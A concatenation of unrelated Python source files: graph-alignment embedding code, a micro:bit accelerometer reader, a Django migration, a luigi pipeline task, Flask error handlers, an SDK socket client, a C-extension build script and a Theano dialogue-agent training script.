g2_node_attrs, rep_settings) emb1 = embeddings[:rep_g1.all_nodes_num] # embeddings for nodes in graph 1 emb2 = embeddings[rep_g1.all_nodes_num:] # embeddings for nodes in graph 2 similar_matrix = get_embed_similarity(emb1, emb2, num_top=None) return similar_matrix def get_simmatrix_gcn(num_top, rep_g1, rep_g2, rep_settings, combine_adj): feature_matrix, num_features = get_nodes_feature(rep_g1, rep_g2, rep_settings) # Initialize the settings for neural networks and layers to get embeddings for a combine network settings = gcn.ini_net_settings(learning_rate=0.01, hidden1=16, dropout=0.5) embeddings = gcn.get_embeddings(combine_adj, feature_matrix, [rep_g1.all_nodes_num + rep_g2.all_nodes_num, num_features * 2], settings) emb1 = embeddings[:rep_g1.all_nodes_num] # embeddings for nodes in graph 1 emb2 = embeddings[rep_g1.all_nodes_num:] # embeddings for nodes in graph 2 similar_matrix = get_embed_similarity(emb1, emb2, num_top=num_top) return similar_matrix def cal_reps_with_landmark(feature_matrix, g1_nodes_num, rep_settings, total_nodes_num, g1_node_attrs, g2_node_attrs): # Get landmark nodes(to compute all pairwise similarities to in Nystrom approx) if rep_settings.p is None: p = int(rep_settings.k * math.log(g1_nodes_num, 2)) # k*log(n), where k = 10 rep_settings.p = min(p, g1_nodes_num) # don't return larger dimensionality than # of nodes print("feature dimensionality is " + str(rep_settings.p)) elif rep_settings.p > g1_nodes_num: print("Warning: dimensionality greater than number of nodes. Reducing to n") rep_settings.p = g1_nodes_num if g1_node_attrs is not None and g2_node_attrs is not None: all_node_attrs = np.concatenate((g1_node_attrs, g2_node_attrs), axis=0) else: all_node_attrs = None # permute uniformly at random landmarks = np.random.permutation(range(total_nodes_num))[:rep_settings.p] # Explicitly compute similarities of all nodes to these landmarks. Discontinuous node ids in two graphs are # matched to 0 to max node num. C = np.zeros((total_nodes_num, rep_settings.p)) for node_index in range(total_nodes_num): # for each of nodes in all graphs for landmark_index in range(rep_settings.p): # for each of p landmarks if all_node_attrs is not None: attr1 = all_node_attrs[node_index] attr2 = all_node_attrs[landmarks[landmark_index]] else: attr1 = None attr2 = None # select the p-th landmark C[node_index, landmark_index] = get_features_similarity(rep_settings, feature_matrix[node_index], feature_matrix[landmarks[landmark_index]], attr1, attr2) # Compute Nystrom-based node embeddings W_pin_v = np.linalg.pinv(C[landmarks]) U, X, V = np.linalg.svd(W_pin_v) W_fac = np.dot(U, np.diag(np.sqrt(X))) represent = np.dot(C, W_fac) # Post-processing step to normalize embeddings (true by default, for use with REGAL) if rep_settings.normalize: represent = represent / np.linalg.norm(represent, axis=1).reshape((represent.shape[0], 1)) return represent def get_nodes_feature(rep_g1, rep_g2, rep_settings): """ Get structural features for nodes in a graph based on degree sequences of neighbors :return: Discontinuous node ids in graph are matched to 0 to max node num in feature_matrix """ # Get k-hop neighbors of all nodes. And degree of each node in graph, index starts from 0 to maximum. rep_g1_k_hop_neighbors, rep_g1_node_degrees = get_k_hop_neighbors(rep_g1, rep_settings) rep_g2_k_hop_neighbors, rep_g2_node_degrees = get_k_hop_neighbors(rep_g2, rep_settings) max_degree = max(max(rep_g1_node_degrees), max(rep_g2_node_degrees)) if rep_settings.num_buckets is None: # 1 bin for every possible degree value num_features = max_degree + 1 # count from 0 to max degree, could change if bucketing degree sequences else: # logarithmic binning with num_buckets as the base of logarithm (default: base 2) num_features = int(math.log(max_degree, rep_settings.num_buckets)) + 1 total_nodes_num = rep_g1.all_nodes_num + rep_g2.all_nodes_num # Discontinuous node ids in two graphs are matched to 0 to max node num in feature_matrix feature_matrix = np.zeros((total_nodes_num, num_features)) index = 0 for n in range(rep_g1.all_nodes_num): for layer in rep_g1_k_hop_neighbors[n].keys(): # construct feature matrix one layer at a time if len(rep_g1_k_hop_neighbors[n][layer]) > 0: # degree sequence of node n at a hop layer deg_seq = get_degree_sequence(rep_g1_node_degrees, rep_settings.num_buckets, rep_g1_k_hop_neighbors[n][layer], max_degree) # add degree info from this degree sequence, weighted depending on layer and discount factor alpha feature_matrix[index] += [(rep_settings.alpha ** layer) * x for x in deg_seq] index += 1 for n in range(rep_g2.all_nodes_num): for layer in rep_g2_k_hop_neighbors[n].keys(): # construct feature matrix one layer at a time if len(rep_g2_k_hop_neighbors[n][layer]) > 0: # degree sequence of node n at layer "layer" deg_seq = get_degree_sequence(rep_g2_node_degrees, rep_settings.num_buckets, rep_g2_k_hop_neighbors[n][layer], max_degree) feature_matrix[index] += [(rep_settings.alpha ** layer) * x for x in deg_seq] index += 1 return feature_matrix, num_features def get_k_hop_neighbors(rep_g, rep_settings): """ For each node, dictionary containing {node : {layer_num : {set of neighbors}}}. Discontinuous node ids in graph are matched to 0 to max node num in matrix """ if rep_settings.max_layer is None: rep_settings.max_layer = rep_g.all_nodes_num # prevent infinite loop # discontinuous node ids in graph are matched to 0 to max node num in matrix k_hop_neighbors_dict = {} all_neighbors_traversed = {} node_degrees = [] # 0-hop neighbor of a node is itself for node in range(rep_g.all_nodes_num): neighbors = np.nonzero(rep_g.G_adj[node])[-1].tolist() # column indices of non-zero elements node_degrees.append(len(neighbors)) if len(neighbors) == 0: print("Warning: node %d is disconnected " + str(node)) k_hop_neighbors_dict[node] = {0: {node}, 1: set()} else: if type(neighbors[0]) is list: neighbors = neighbors[0] k_hop_neighbors_dict[node] = {0: {node}, 1: set(neighbors) - {node}} # For each node, keep track of neighbors we've already seen all_neighbors_traversed[node] = {node}.union(k_hop_neighbors_dict[node][1]) current_layer = 2 while True: if rep_settings.max_layer is not None and current_layer > rep_settings.max_layer: break reached_graph_diameter = True # whether we've reached the graph diameter for i in range(rep_g.all_nodes_num): prev_hop_neighbors = k_hop_neighbors_dict[i][current_layer - 1] current_hop_neighbors = set() for n in prev_hop_neighbors: neighbors_of_n = k_hop_neighbors_dict[n][1] for node_id in neighbors_of_n: current_hop_neighbors.add(node_id) # remove already seen nodes (k-hop neighbors reachable at shorter hop distance) current_hop_neighbors = current_hop_neighbors - all_neighbors_traversed[i] # Add neighbors at this hop to set of nodes we've already seen all_neighbors_traversed[i] = all_neighbors_traversed[i].union(current_hop_neighbors) # we've not reached the graph diameter in this round if len(current_hop_neighbors) > 0: reached_graph_diameter = False k_hop_neighbors_dict[i][current_layer] = current_hop_neighbors if reached_graph_diameter: break # finished finding neighborhoods (to the depth that we want) else: current_layer += 1 # move out to next layer return k_hop_neighbors_dict, node_degrees def get_degree_sequence(node_degrees, num_buckets, k_neighbors, max_degree): """ Turn lists of neighbors into a degree sequence :param node_degrees: the degree of each node in a graph :param max_degree: max degree in all input graphs :param num_buckets: degree (node feature) binning :param k_neighbors: node's neighbors at a given layer :return: length-D list of ints (counts of nodes of each degree), where D is max degree in graph """ if num_buckets is not None: degrees_vector = [0] * int(math.log(max_degree, num_buckets) + 1) else: degrees_vector = [0] * (max_degree + 1) # For each node in k-hop neighbors, count its degree for node in k_neighbors: weight = 1 # unweighted graphs supported here degree = node_degrees[node] # print("get_degree_sequence %d %d", node, degree) if num_buckets is not None: try: degrees_vector[int(math.log(degree, num_buckets))] += weight except: print("Node %d has degree %d and will not contribute to feature distribution" % (node, degree)) else: degrees_vector[degree] += weight return degrees_vector def get_features_similarity(rep_settings, vec1, vec2, attr1, attr2): """ convert distances (weighted by coefficients on structure and attributes) to similarities :return: number between 0 and 1 representing their similarity """ # compare distances between structural identities dist = rep_settings.gamma_struc * np.linalg.norm(vec1 - vec2) if attr1 is not None and attr2 is not None: attr_dist = 0 for i in range(attr1.shape[0]): # distance is number of disagreeing attributes if attr1[i] != attr2[i]: attr_dist += 1 dist += rep_settings.gamma_attr * attr_dist return np.exp(-dist) def get_embed_similarity(embed1, embed2, sim_measure="euclidean", num_top=None): """ Score alignments based on embeddings of two graphs """ if embed2 is None: embed2 = embed1 if num_top is not None and num_top != 0: # KD tree with only top similarities computed kd_sim = kd_align(embed1, embed2, distance_metric=sim_measure, num_top=num_top) return kd_sim # All pairwise distance computation if sim_measure == "cosine": similarity_matrix = sklearn.metrics.pairwise.cosine_similarity(embed1, embed2) else: similarity_matrix = sklearn.metrics.pairwise.euclidean_distances(embed1, embed2) similarity_matrix = np.exp(-similarity_matrix) return similarity_matrix def kd_align(emb1, emb2, normalize=False, distance_metric="euclidean", num_top=50): kd_tree = KDTree(emb2, metric=distance_metric) dist, ind = kd_tree.query(emb1, k=num_top) row = np.array([]) for i in range(emb1.shape[0]): row = np.concatenate((row, np.ones(num_top) * i)) col = ind.flatten() data = np.exp(-dist).flatten() sparse_align_matrix = coo_matrix((data, (row, col)), shape=(emb1.shape[0], emb2.shape[0])) return sparse_align_matrix.tocsr() def get_alignment_score(g1_nodes, g2_nodes, align_matrix, true_alignments=None, top_k=None, top_k_score_weighted=False): n_nodes = align_matrix.shape[0] correct_nodes = [] if top_k is None: row_sums = align_matrix.sum(axis=1) row_sums[row_sums == 0] = 10e-6 # shouldn't affect much since dividing 0 by anything is 0 align_matrix = align_matrix / row_sums[:, np.newaxis] # normalize alignment_score = score(align_matrix, true_alignments=true_alignments) else: alignment_score = 0 if not sp.issparse(align_matrix): sorted_indices = np.argsort(align_matrix) for node_index in range(n_nodes): top_align_nodes_id2 = [] node_id = g1_nodes[node_index] target_alignment = node_id # default: the node should be aligned to itself if true_alignments is not None: # if we have true alignments (which we require), use those for each node target_alignment = true_alignments[node_id] if sp.issparse(align_matrix): row, possible_alignments, possible_values = sp.find(align_matrix[node_index]) node_sorted_indices = possible_alignments[possible_values.argsort()] else: node_sorted_indices = sorted_indices[node_index] # get all the nodes id (sub-nodes) at top k for n_index in node_sorted_indices[-top_k:]: node_id2 = g2_nodes[n_index] top_align_nodes_id2.append(node_id2) if target_alignment in top_align_nodes_id2: if top_k_score_weighted: alignment_score += 1.0 / (n_nodes - np.argwhere(sorted_indices[node_index] == target_alignment)[0]) else: alignment_score += 1 # correct_nodes.append(node_index) alignment_score /= float(n_nodes) return alignment_score, set(correct_nodes) def score(alignment_matrix, true_alignments=None): """ alignments are dictionary of the form node_in_graph 1 : node_in_graph2 """ if true_alignments is None: # assume it's just identity permutation return np.sum(np.diagonal(alignment_matrix)) else: nodes_g1 = [int(node_g1) for node_g1 in true_alignments.keys()] nodes_g2 = [int(true_alignments[node_g1]) for node_g1 in true_alignments.keys()] return np.sum(alignment_matrix[nodes_g1, nodes_g2]) workshop/part-4/solution/main.py0 from microbit import i2c, sleep, accelerometer import ustruct MMA8653_ADDR = 29 MMA8653_OUT_X_MSB = 0x01 MMA8653_OUT_Y_MSB = 0x03 MMA8653_OUT_Z_MSB = 0x05 MMA8653_WHOAMI = 0x0D MMA8653_WHOAMI_VALUE = 0x5A def check_device(): i2c.write(MMA8653_ADDR, bytes([MMA8653_WHOAMI]), repeat=True) read_data = i2c.read(MMA8653_ADDR, 1) if read_data[0] != MMA8653_WHOAMI_VALUE: raise Exception('Invalid WHO_AM_I value 0x{:02X}, expected 0x{:02X}'.format(read_data[0], MMA8653_WHOAMI_VALUE)) def read_x(): i2c.write(MMA8653_ADDR, bytes([MMA8653_OUT_X_MSB]), repeat=True) result = i2c.read(MMA8653_ADDR, 1) # Unpack it as a signed char result = ustruct.unpack('b', result)[0] # Scale it to 0 to +/- 2000 and set orientation return result * 16 * -1 def read_y(): i2c.write(MMA8653_ADDR, bytes([MMA8653_OUT_Y_MSB]), repeat=True) result = i2c.read(MMA8653_ADDR, 1) # Unpack it as a signed char result = ustruct.unpack('b', result)[0] # Scale it to 0 to +/- 2000 and set orientation return result * 16 * -1 def read_z(): i2c.write(MMA8653_ADDR, bytes([MMA8653_OUT_Z_MSB]), repeat=True) result = i2c.read(MMA8653_ADDR, 1) # Unpack it as a signed char result = ustruct.unpack('b', result)[0] # Scale it to 0 to +/- 2000 return result * 16 check_device() while True: x = read_x() y = read_y() z = read_z() print("[X:{}] [Y:{}] [Z:{}]".format(x, y, z)) print("[X:{}] [Y:{}] [Z:{}]\n".format( accelerometer.get_x(), accelerometer.get_y(), accelerometer.get_z())) sleep(200) Almazishe/portfolio # Generated by Django 3.1.4 on 2020-12-31 05:28 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('portfolios', '0001_initial'), ] operations = [ migrations.AlterModelOptions( name='portfolio', options={'ordering': ('-created_at',), 'verbose_name': 'Portfolio', 'verbose_name_plural': 'Portfolios'}, ), migrations.AddField( model_name='portfolio', name='projects', field=models.ManyToManyField(related_name='portfolios', to='portfolios.Project', verbose_name='Projects'), ), ] SciLifeLab/ratatosk # Copyright (c) 2013 # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License. You may obtain a copy of # the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License. import luigi import os import glob import logging from ratatosk.job import PipelineTask, JobTask, JobWrapperTask from ratatosk.lib.tools.picard import PicardMetrics, SortSam from ratatosk.lib.files.fastq import FastqFileLink from ratatosk.utils import make_fastq_links logger = logging.getLogger('luigi-interface') class AlignSeqcap(PipelineTask): _config_section = "pipeline" _config_subsection = "AlignSeqcap" sample = luigi.Parameter(default=[], is_list=True, description="Samples to process") flowcell = luigi.Parameter(default=[], is_list=True, description = "flowcells to process") lane = luigi.Parameter(default=[], description="Lanes to process.", is_list=True) indir = luigi.Parameter(description="Where raw data lives", default=None) outdir = luigi.Parameter(description="Where analysis takes place", default=None) final_target_suffix = ".sort.merge.dup.bam" def requires(self): if not self.indir: return if self.outdir is None: self.outdir = self.indir tgt_fun = self.set_target_generator_function() if not tgt_fun: return [] targets = tgt_fun(self.indir, sample=self.sample, flowcell=self.flowcell, lane=self.lane) if self.outdir != self.indir: targets = make_fastq_links(targets, self.indir, self.outdir) picard_metrics_targets = ["{}.{}".format(x[1], "sort.merge.dup") for x in targets] return [PicardMetrics(target=tgt) for tgt in picard_metrics_targets] penguins-dstu/ttk-control-server # -*- coding: utf-8 -*- from app import app, db from flask import render_template, redirect, url_for, flash ''' Здесь описаны методы обработки ошибок сервера. ''' @app.errorhandler(404) def page_not_found(error): return render_template('404.html'), 404 @app.errorhandler(405) def page_not_found(error): flash('Выбран неверный метод запроса.') return render_template('index.html', title='Ошибка 405'), 405 @app.errorhandler(413) def request_entity_too_large(error): flash('Загружаемый файл не должен превышать 24мб!') return render_template('index.html', title='Ошибка загрузки'), 413 # Copyright 2017 IBM Corp. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import json import six import socket SDKCLIENT_MODID = 110 SOCKET_ERROR = [{'overallRC': 101, 'modID': SDKCLIENT_MODID, 'rc': 101}, {1: "Failed to create client socket, error: %(error)s", 2: ("Failed to connect SDK server %(addr)s:%(port)s, " "error: %(error)s"), 3: ("Failed to send all API call data to SDK server, " "only %(sent)d bytes sent. API call: %(api)s"), 4: "Client receive empty data from SDK server", 5: ("Client got socket error when sending API call to " "SDK server, error: %(error)s"), 6: ("Client got socket error when receiving response " "from SDK server, error: %(error)s")}, "SDK client or server get socket error", ] INVALID_API_ERROR = [{'overallRC': 400, 'modID': SDKCLIENT_MODID, 'rc': 400}, {1: "Invalid API name, '%(msg)s'"}, "Invalid API name" ] class SDKSocketClient(object): def __init__(self, addr='127.0.0.1', port=2000, request_timeout=3600): self.addr = addr self.port = port # request_timeout is used to set the client socket timeout when # waiting results returned from server. self.timeout = request_timeout def _construct_api_name_error(self, msg): results = INVALID_API_ERROR[0] results.update({'rs': 1, 'errmsg': INVALID_API_ERROR[1][1] % {'msg': msg}, 'output': ''}) return results def _construct_socket_error(self, rs, **kwargs): results = SOCKET_ERROR[0] results.update({'rs': rs, 'errmsg': SOCKET_ERROR[1][rs] % kwargs, 'output': ''}) return results def call(self, func, *api_args, **api_kwargs): """Send API call to SDK server and return results""" if not isinstance(func, str) or (func == ''): msg = ('Invalid input for API name, should be a' 'string, type: %s specified.') % type(func) return self._construct_api_name_error(msg) # Create client socket try: cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) except socket.error as err: return self._construct_socket_error(1, error=six.text_type(err)) try: # Set socket timeout cs.settimeout(self.timeout) # Connect SDK server try: cs.connect((self.addr, self.port)) except socket.error as err: return self._construct_socket_error(2, addr=self.addr, port=self.port, error=six.text_type(err)) # Prepare the data to be sent and switch to bytes if needed api_data = json.dumps((func, api_args, api_kwargs)) api_data = api_data.encode() # Send the API call data to SDK server sent = 0 total_len = len(api_data) got_error = False try: while (sent < total_len): this_sent = cs.send(api_data[sent:]) if this_sent == 0: got_error = True break sent += this_sent except socket.error as err: return self._construct_socket_error(5, error=six.text_type(err)) if got_error or sent != total_len: return self._construct_socket_error(3, sent=sent, api=api_data) # Receive data from server return_blocks = [] try: while True: block = cs.recv(4096) if not block: break block = bytes.decode(block) return_blocks.append(block) except socket.error as err: # When the sdkserver cann't handle all the client request, # some client request would be rejected. # Under this case, the client socket can successfully # connect/send, but would get exception in recv with error: # "error: [Errno 104] Connection reset by peer" return self._construct_socket_error(6, error=six.text_type(err)) finally: # Always close the client socket to avoid too many hanging # socket left. cs.close() # Transform the received stream to standard result form # This client assumes that the server would return result in # the standard result form, so client just return the received # data if return_blocks: results = json.loads(''.join(return_blocks)) else: results = self._construct_socket_error(4) return results #!/usr/bin/env python3 # -*- coding: UTF-8 -*- """ Controls the building of the C extension model. """ import os import sysconfig from ast import literal_eval from distutils.command.build_ext import build_ext # type: ignore from distutils.core import Extension try: from dotenv import load_dotenv # type: ignore except ImportError: pass else: load_dotenv() # Should we turn on debugging? DEBUG = literal_eval(os.environ.get("FST_LOOKUP_DEBUG", "False")) SHOULD_BUILD_EXTENSION = literal_eval(os.environ.get("FST_LOOKUP_BUILD_EXT", "True")) # Get compiler flags from the current Python version: extra_compile_args = (sysconfig.get_config_var("CFLAGS") or "").split() extra_compile_args += ["-std=c99", "-Wall", "-Wextra"] if DEBUG: # Enable debug symbols, assertions, and disable optimizations extra_compile_args += ["-g3", "-O0", "-UNDEBUG", "-Werror"] extensions = [ Extension( "fst_lookup._fst_lookup", sources=["fst_lookup/_fst_lookup.c"], extra_compile_args=extra_compile_args, ) ] def build(setup_kwargs): """ Setup to build a C extension. """ if SHOULD_BUILD_EXTENSION: setup_kwargs.update({"ext_modules": extensions}) # coding=utf-8 __author__ = 'jiataogu' import logging import theano from matplotlib import pyplot from theano.sandbox.rng_mrg import MRG_RandomStreams as RandomStreams from config import setup, setup_main from dataset import deserialize_from_file, divide_dataset, build_fuel, GuessOrder from game.asker import Asker from game.responder import Responder from models.variational import Helmholtz from utils.generic_utils import * theano.config.optimizer = 'fast_compile' Asker = Asker # GridAsker # PyramidAsker # GridAsker logger = logging.getLogger(__name__) lm_config = setup() main_config = setup_main() # setup_grid6() # setup_pyramid() # setup_grid() # setup_main() # logging.basicConfig(level= main_config['level'], format="%(asctime)s: %(name)s: %(levelname)s: %(message)s") np.random.seed(main_config['seed']) n_rng = np.random.RandomState(main_config['seed']) rng = RandomStreams(n_rng.randint(2 ** 30), use_cuda=True) """ Main Loop. """ print 'start.' # load the dataset and build a fuel-dataset. idx2word, word2idx = deserialize_from_file(lm_config['vocabulary_set']) # load the fake_dialogue dataset. print 'Dataset: {}'.format(main_config['fake_diag']) fake_data = deserialize_from_file(main_config['fake_diag']) train_set, test_set = divide_dataset(fake_data, main_config['test_size'], 200000) lm_config['enc_voc_size'] = max(zip(*word2idx.items())[1]) + 1 lm_config['dec_voc_size'] = lm_config['enc_voc_size'] lm_config['state_dim'] = main_config['core_hidden_dim'] main_config['enc_voc_size'] = lm_config['enc_voc_size'] database = deserialize_from_file(lm_config['dataset']) dataset = build_fuel(database) weights_file = lm_config['weights_file'] answer_templates = {0: 'I cannot understand.', 1: 'Congrats!', 2: 'Pity.'} logger.info('build dataset done. vocabulary size = {0}'.format(lm_config['dec_voc_size'])) start_time = time.time() # build the environment game = GuessOrder(rng=n_rng, size=main_config['game_length']) environment = Responder(game=game) # load the pretrained generator generator = Helmholtz(lm_config, n_rng, rng, dynamic_prior=True) generator.build_() generator.load(weights_file) generator.dynamic() # build the agent. agent = Asker(main_config, lm_config, n_rng, rng, generator) agent.build_() agent.compile_asker() logger.info('compile the asker sampler ok.') # # build the scheduled trainer if any. # agent.compile_scheduled_trainer() # logger.info('compile the asker ss-learner ok.') # build the trainer agent.compile_trainer() logger.info('compile the asker learner ok.') end_time = time.time() logger.info('compiling done. It costs {} seconds'.format(end_time - start_time)) def simulator(M=25, display=False): """ Dialogue Simulation """ start_time = time.time() progbar = Progbar(M) logger.info('Start simulation.') train_data = {'X': [], 'Y': [], 'A': [], 'R': [], 'G': [], 'T': [], 'text': [], 'acc': []} for ep in xrange(M): environment.reset() episode = {'x': [], 'y': [], 'a': [], 'r': []} conversation = '' conversation += '\n\n\n' + '***' * 30 conversation += '\nGame start.' turn = 0 maxturn = 16 kwargs = {'turn': turn, 'maxturn': maxturn} for k in xrange(maxturn + 1): if kwargs['turn'] == maxturn: guess, score = agent.act(kwargs) conversation += '\n' + '_' * 93 + '[{}]'.format(kwargs['turn']) conversation += '\n(´✪ ‿ ✪`)ノ : {}'.format('My answer = ' + ' '.join([str(w) for w in guess])) corrects = environment.get_answer() conversation += '\n{:>78} : ლ（´∀`ლ）'.format(' '.join([str(w) for w in corrects])) Accuracy = sum([g == c for g, c in zip(guess, corrects)]) / float(len(guess)) conversation += '\n{:>78} : ლ（´∀`ლ）'.format('Accuracy = {}%'.format(Accuracy * 100)) episode['g'] = np.asarray(guess) episode['t'] = np.asarray(corrects) episode['r'].append(Accuracy) episode['c'] = Accuracy break next_action, next_sent, kwargs = agent.act(kwargs) question = ' '.join(print_sample(idx2word, next_sent)[:-1]) conversation += '\n' + '_' * 93 + '[{}]'.format(kwargs['turn']) conversation += '\n(´◉ ω ◉`)？ : {}'.format(question) got = environment.parse(question) reward = 0 if got > 0 else -1 kwargs['prev_asw'] = np.asarray([got], dtype='int32') conversation += '\n{:>78} : (●´ε｀●)'.format(answer_templates[got]) # registration episode['a'].append(next_action) episode['y'].append(next_sent[None, :]) episode['x'].append(got) episode['r'].append(reward) conversation += '\nGame End\n' + '***' * 30 if display: logger.info(conversation) # concatenate train_data['A'].append(np.concatenate(episode['a'], axis=0)[None, :, :]) train_data['Y'].append(np.concatenate(episode['y'], axis=0)[None, :, :]) train_data['X'].append(np.asarray(episode['x'], dtype='int32')[None, :]) train_data['R'].append(np.asarray(episode['r'], dtype='float32')[::-1].cumsum()[::-1][None, :]) train_data['G'].append(episode['g'][None, :]) train_data['T'].append(episode['t'][None, :]) train_data['text'].append(conversation) train_data['acc'].append(episode['c']) progbar.update(ep + 1, [('accuracy', episode['c'])]) train_data['A'] = np.concatenate(train_data['A'], axis=0).astype('float32') train_data['X'] = np.concatenate(train_data['X'], axis=0).astype('int32') train_data['Y'] = np.concatenate(train_data['Y'], axis=0).astype('int32') train_data['R'] = np.concatenate(train_data['R'], axis=0).astype('float32') train_data['G'] = np.concatenate(train_data['G'], axis=0).astype('int32') train_data['T'] = np.concatenate(train_data['T'], axis=0).astype('int32') end_time = time.time() print '' logger.info('Simulation {0} eposides with {1} seconds.'.format(M, end_time - start_time)) return train_data def learner(data, fr=1., fs=1., fb=1.): """ Training. """ start_time = time.time() X = data['X'] # answers obtained from the environment; Y = data['Y'] # questions generated based on policy; A = data['A'] # actions performed in Helmholtz questions generator; R = data['R'] # cumulative reward obtained through conversation; guess = data['G'] # final guess order given by the agent truth = data['T'] # real order in the environment loss = agent.train(X, Y, A, R, guess, truth, fr, fs, fb) end_time = time.time() logger.info('Training this batch with {0} seconds.'.format(end_time - start_time)) logger.info('REINFORCE Loss = {0}, Supervised loss = {1}, Baseline loss = {2}'.format( loss[0], loss[1], loss[2])) return loss def SL_learner(data, batch_size=25, eval_freq=0, eval_train=None, eval_test=None): """ Supervised Learning with fake-optimal logs. One epoch for all data. """ start_time = time.time() X = data['X'].astype('int32') # answers obtained from the environment; Y = data['Y'].astype('int32') # questions generated based on policy; T = data['T'].astype('int32') # real order in the environment # index shuffle idx = np.arange(X.shape[0]).tolist() np.random.shuffle(idx) num_batch = X.shape[0] / batch_size progbar = Progbar(num_batch) batch_from = 0 loss = [] if eval_freq > 0: eval_batch = num_batch / eval_freq eval_start = 0 batches = [] accs, unds = [], [] acct, undt = [], [] for batch in xrange(num_batch): batch_to = batch_from + batch_size if batch_to > X.shape[0]: batch_to = X.shape[0] batch_X = X[idx[batch_from: batch_to]] batch_Y = Y[idx[batch_from: batch_to]] batch_T = T[idx[batch_from: batch_to]] if not main_config['multi_task']: loss.append(agent.train_sl(batch_X, batch_Y, batch_T)) # if not main_config['ssl']: # loss.append(agent.train_sl(batch_X, batch_Y, batch_T)) # else: # loss.append(agent.train_ssl(batch_X, batch_Y, batch_T, 3, 10.)) progbar.update(batch + 1, [('loss', loss[-1])]) else: loss.append(agent.train_sl(batch_X, batch_Y, batch_T)) # loss.append(agent.train_mul(batch_X, batch_Y, batch_T, 3, 10.)) progbar.update(batch + 1, [('loss', loss[-1][0]), ('ppl', loss[-1][1]), ('asw loss', loss[-1][2])]) batch_from = batch_to if eval_freq > 0: eval_start += 1 if eval_start == eval_batch or batch == num_batch - 1: batches.append(batch_to) if eval_train: logger.info('\ntesting on sampled training set.') acc, und = SL_test(eval_train) accs.append(acc) unds.append(und) if eval_train: logger.info('testing on sampled testing set.') acc, und = SL_test(eval_test) acct.append(acc) undt.append(und) eval_start = 0 end_time = time.time() logger.info('Training this epoch with {0} seconds.'.format(end_time - start_time)) logger.info('Supervised loss = {}'.format(np.mean(loss))) if eval_freq > 0: eval_details = {'batch_id': batches, 'acc_train': accs, 'acc_test': acct, 'und_train': unds, 'und_test': undt} return loss, eval_details return loss def main(): losses = [] accuracy = [] for echo in xrange(4000): logger.info('Iteration = {}'.format(echo)) train_data = simulator(M=20) print train_data['text'][-1] loss = learner(train_data, fr=0.) losses.append(loss) accuracy += train_data['acc'] if echo % 100 == 99: plt.plot(accuracy) plt.show() # pkl.dump(losses, open('losses.temp.pkl')) def check_answer(x, y, g): g = np.asarray(g) environment.game.set_answer(g) s = 0 for k in xrange(x.shape[1]): question = ' '.join(print_sample(idx2word, y[0][k].tolist())[:-1]) got = environment.parse(question) if got == 2 - x[0][k]: s += 1. return s / x.shape[1] def display_session(x, y, g, t, acc, cov): """ display a dialogue session """ conversation = '' conversation += '\n\n\n' + '***' * 30 conversation += '\nGame start.' for k in xrange(x.shape[1]): question = ' '.join(print_sample(idx2word, y[0][k].tolist())[:-1]) conversation += '\n' + '_' * 93 + '[{}]'.format(k + 1) conversation += '\n(´◉ ω ◉`)？ : {}'.format(question) got = x[0][k] conversation += '\n{:>78} : (●´ε｀●)'.format(answer_templates[got]) conversation += '\n' + '_' * 93 + '[{}]'.format(k + 1) conversation += '\n(´✪ ‿ ✪`)ノ : {}'.format('My answer = ' + ' '.join([str(w) for w in g])) conversation += '\n{:>78} : ლ（´∀`ლ）'.format(' '.join([str(w) for w in t[0]])) conversation += '\n{:>78} : ლ（´∀`ლ）'.format('Accuracy = {}%'.format(acc * 100)) conversation += '\n{:>78} : ლ（´∀`ლ）'.format('Understand = {}%'.format(cov * 100)) conversation += '\nGame End\n' + '***' * 30 return conversation def SL_test(test_set): print '...' progbar = Progbar(main_config['test_size']) accuracy = [] understand = [] # untruth = [] at = 0 for k in xrange(main_config['test_size']): at += 1 x = test_set['X'][None, k] y = test_set['Y'][None, k] t = test_set['T'][None, k] g, _, acc = agent.evaluate(x, y, t) cov = check_answer(x, y, g) # cov_t = check_answer(x, y, t[0].tolist()) progbar.update(at, [('acc', acc), ('und', cov)]) # untruth.append(cov_t) accuracy.append(acc) understand.append(cov) acc = np.mean(accuracy) und = np.mean(understand) print '\nevaluation.. avarage accuracy = {0}% /understand {1}% questions'.format( 100 * acc, 100 * und) # print 'check truth {}%'.format(100 * np.mean(untruth)) return acc, und def main_sl(): # get the evaluation set. evaluation_set = n_rng.randint(0, train_set['X'].shape[0], main_config['test_size']).tolist() eval_train = dict() eval_train['X'] = train_set['X'][evaluation_set] eval_train['Y'] = train_set['Y'][evaluation_set] eval_train['T'] = train_set['T'][evaluation_set] eval_test = test_set eval_details = {'batch_id': [], 'acc_train': [], 'acc_test': [], 'und_train': [], 'und_test': []} for echo in xrange(500): logger.info('Epoch = {}'.format(echo)) loss, ed = SL_learner(train_set, batch_size=50, eval_freq=10, eval_train=eval_train, eval_test=eval_test) eval_details['acc_train'] += ed['acc_train'] eval_details['acc_test'] += ed['acc_test'] eval_details['und_train'] += ed['und_train'] eval_details['und_test'] += ed['und_test'] eval_details['batch_id'] += [(t + 200000 * echo) / 1000.0 for t in ed['batch_id']] pyplot.figure(1) pyplot.plot(eval_details['batch_id'], eval_details['acc_train'], 'b') pyplot.plot(eval_details['batch_id'], eval_details['acc_test'], 'r') pyplot.xlabel('iterations (x 1000)') pyplot.ylabel('accuracy') pyplot.savefig('./acc-gru.png') pyplot.figure(2) pyplot.plot(eval_details['batch_id'], eval_details['und_train'], 'b') pyplot.plot(eval_details['batch_id'], eval_details['und_test'], 'r') pyplot.xlabel('iterations (x 1000)') pyplot.ylabel('understand rate') pyplot.savefig('./und-gru.png') logger.info("saving ok!") # if echo % 20 == 19: # pyplot.figure(1) # pyplot.plot(acc_s, 'r') # pyplot.plot(acc_t, 'g') # pyplot.figure(2) # pyplot.plot(und_s, 'r') # pyplot.plot(und_t, 'g') # pyplot.show() # agent.main_config['sample_beam'] 